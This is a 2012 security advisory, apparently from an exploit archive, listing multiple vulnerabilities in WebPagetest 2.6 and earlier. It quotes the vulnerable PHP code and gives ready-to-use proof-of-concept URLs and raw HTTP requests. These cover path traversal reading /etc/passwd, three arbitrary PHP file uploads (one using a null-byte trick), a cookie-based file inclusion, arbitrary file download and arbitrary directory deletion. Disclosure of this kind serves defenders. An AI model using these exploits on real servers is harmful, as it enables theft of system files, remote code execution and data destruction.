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:::::::-. ...::::::.:::. ;;, <code>';, ;; ;;;</code>;;;;,<code>;;; </code>[[ [[[[' [[[[[[[[. '[[ $$,$$$$$$$$$$ "Y$c$$ 888_,o8P'88.d888888Y88 MMMMP"` "YmmMMMM""MMM YM [ Discovered by dun \ posdub[at]gmail.com ] [ 2012-07-11] ##################################################### # [ WebPagetest <= 2.6 ]Multiple Vulnerabilities# ##################################################### # # Script: "WebPagetest provides a system for testing the performance of web pages from multiple #locations/configurations and consuming the results in a friendly web interface. " # # Vendor: http://www.webpagetest.org/about # Download: http://code.google.com/p/webpagetest/downloads/list # ##################################################### # [ Local File Disclosure #1 ] # PoC: http://localhost/gettext.php?file=../../../../../../../../../../../etc/passwd # # File: ./webpagetest/gettext.php (lines: 2-13) #..cut.. include('common.inc'); // 1 $ok = false; if( isset($_GET['file']) && strlen($_GET['file']) )// 2 { $data = gz_file_get_contents("$testPath/{$_GET['file']}"); // 3 if( $data !== false ) { $ok = true; echo $data;// 7 [LFD] } } #..cut.. # # File: ./webpagetest/common.inc (lines: 493-510) #..cut.. function gz_file_get_contents($file) { $data = null; $zip = gzopen("$file.gz", 'rb'); if( $zip === false ) $zip = gzopen($file, 'rb'); // 4 if( $zip !== false ) { $data = gzread($zip, 10000000); // 5 gzclose($zip); } else $data = false; return $data; // 6 } #..cut.. # ##################################################### # [ Local File Disclosure #2 ] # PoC: http://localhost/gettcpdump.php?file=../../../../../../../../../etc/passwd # # File: ./webpagetest/gettcpdump.php (lines: 2-13) #..cut.. include('common.inc');// 1 $file = "$testPath/{$_GET['file']}";// 2 if( isset($_GET['file']) && strlen($_GET['file']) && gz_is_file($file) ) // 3 { header ("Content-type: application/octet-stream"); gz_readfile_chunked($file); // 5 } #..cut.. # # File: ./webpagetest/common.inc (lines: 460-486, 586-590) #..cut.. function gz_readfile_chunked($filename, $retbytes = TRUE) { $buffer = ''; $cnt =0; $handle = gzopen("$filename.gz", 'rb'); if ($handle === false) $handle = gzopen($filename, 'rb');// 6 if ($handle === false) return false; while (!gzeof($handle)) { $buffer = gzread($handle, 1024 * 1024);// 1MB at a time // 7 echo $buffer; // 8 [LFD] #..cut.. } #..cut.. return $status; } #..cut.. function gz_is_file($filename) { $ret = is_file("$filename.gz") || is_file($filename); // 4 return $ret;// } #..cut.. # ##################################################### # [ Local File Disclosure #3 ] # PoC: http://localhost/getgzip.php?file=../../../../../../../../../etc/passwd # It's a very similar case, as above. # ##################################################### # [ Arbitrary File Upload #1 ] # File: ./webpagetest/work/resultimage.php (lines: 18-48) #..cut.. $locKey = $locations[$location]['key']; if( (!strlen($locKey) || !strcmp($key, $locKey)) || !strcmp($_SERVER['REMOTE_ADDR'], "127.0.0.1") )// 1 true { if( isset($_FILES['file']) ) // 2 { $fileName = $_FILES['file']['name']; // 3 $path = './' . GetTestPath($id); // $path = './results/' #..cut.. logMsg(" Moving uploaded image '{$_FILES['file']['tmp_name']}' to '$path/$fileName'\n"); move_uploaded_file($_FILES['file']['tmp_name'], "$path/$fileName");// 4 [AFU] } else logMsg(" no uploaded file attached"); } #..cut.. # PoC: http://localhost/work/resultimage.php POST /work/resultimage.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: pl,en-us;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Connection: keep-alive Cache-Control: max-age=0 Content-Type: multipart/form-data; boundary=---------------------------31101243933548 Content-Length: 209 -----------------------------31101243933548 Content-Disposition: form-data; name="file"; filename="info.php" Content-Type: text/x-php <?php phpinfo(); ?> -----------------------------31101243933548-- # Uploaded file will be here: http://localhost/results/info.php # ##################################################### # [ Arbitrary File Upload #2 ] # File: ./webpagetest/work/dopublish.php (lines: 2-31) #..cut.. require_once('../lib/pclzip.lib.php');// 1 include '../common.inc'; header('Content-type: text/plain'); header("Cache-Control: no-cache, must-revalidate"); header("Expires: Sat, 26 Jul 1997 05:00:00 GMT"); set_time_limit(300); // make sure a file was uploaded if( isset($_FILES['file']) )// 2 { $fileName = $_FILES['file']['name'];// 3 // create a new test id $today = new DateTime("now", new DateTimeZone('America/New_York')); $id = $today->format('ymd_') . md5(uniqid(rand(), true)); // 4 $path = '../' . GetTestPath($id); // 5 // create the folder for the test results if( !is_dir($path) ) mkdir($path, 0777, true); // extract the zip file $archive = new PclZip($_FILES['file']['tmp_name']); // 6 $list = $archive->extract(PCLZIP_OPT_PATH, "$path/", PCLZIP_OPT_REMOVE_ALL_PATH); // 7 [AFU] if( !$list ) unset($id); echo $id; } #..cut.. # In this case, we need to create the zip archive, which contains our php file (info.php). # While uploading, archive will be automatically unzipped to the appropriate folder. # PoC: http://localhost/work/dopublish.php POST /work/dopublish.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: pl,en-us;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Connection: keep-alive Content-Type: multipart/form-data; boundary=---------------------------4966737613931 Content-Length: 214 -----------------------------4966737613931 Content-Disposition: form-data; name="file"; filename="info.zip" Content-Type: application/x-zip-compressed [zip file] -----------------------------4966737613931-- # After file uploading, script prints some string. For example: 120711_718a3a42e314a0cb740ee66b7b92b9ac. # This means, uploaded and unzipped file is in folder /results/12/07/11/718a3a42e314a0cb740ee66b7b92b9ac/ # Uploaded file will be here: http://localhost/results/12/07/11/718a3a42e314a0cb740ee66b7b92b9ac/info.php # ##################################################### # [ Arbitrary File Upload #3 ] magic_quotes_gpc = Off; # File: ./webpagetest/work/workdone.php (lines: 12-45) #..cut.. $id = $_REQUEST['id']; // 1 #..cut.. if( $_REQUEST['video'] ) // 2 { logMsg("Video file $id received from $location"); $dir = './' . GetVideoPath($id); // 3 if( isset($_FILES['file']) ) // 4 { $dest = $dir . '/video.mp4'; // 5 $dest = ./results/video/../info.php%00/video.mp4 move_uploaded_file($_FILES['file']['tmp_name'], $dest);// 6 [AFU] #..cut.. } } #..cut.. # PoC: http://localhost/work/workdone.php?video=1&id=../info.php%00 POST /work/workdone.php?video=1&id=../info.php%00 HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: pl,en-us;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Connection: keep-alive Content-Type: multipart/form-data; boundary=---------------------------187161971819895 Content-Length: 211 -----------------------------187161971819895 Content-Disposition: form-data; name="file"; filename="info.php" Content-Type: text/x-php <?php phpinfo(); ?> -----------------------------187161971819895-- # Uploaded file will be here: http://localhost/results/info.php # ##################################################### # [ Local File Inclusion ] magic_quotes_gpc = Off; # File: ./webpagetest/about.php (line: 20) #..cut.. include 'header.inc'; // 1 #..cut.. # # File: ./webpagetest/header.inc (lines: 43-47) #..cut.. elseif(isset($_COOKIE["cfg"])) $testLoc = $_COOKIE["cfg"];// 2 if( isset($testLoc) && strlen($testLoc) && is_file("./custom/$testLoc/headerAd.inc") ) // 3 include("./custom/$testLoc/headerAd.inc"); // 4 [LFI] #..cut.. # # PoC: http://localhost/about.php GET /about.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: pl,en-us;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Connection: keep-alive Cookie: cfg=../../../../../../../../../etc/passwd%00 # ##################################################### # [ Arbitrary File Download #1 ] register_globals = On # PoC: http://localhost/download.php?testPath=./relay/../../../../../../../../../etc/ # If the "relay" directory exists, the script will compress to a zip archive, all files in # a directory that is set in testPath variable. Thereafter, zip archive will be sent to the browser. # ##################################################### # [ Arbitrary File Download #2 ] magic_quotes_gpc = Off; # PoC: http://localhost/video/download.php?id=../../../../../../../../../../../etc/passwd%00 # ##################################################### # [ Arbitrary File Delete ] register_globals = On # PoC: http://localhost/delete.php?testPath=./relay/../../../../../../../../../etc/ # If the "relay" directory exists, then directory that is set in a variable testPath will be deleted. # ### [ dun / 2012 ] ##################################################### |
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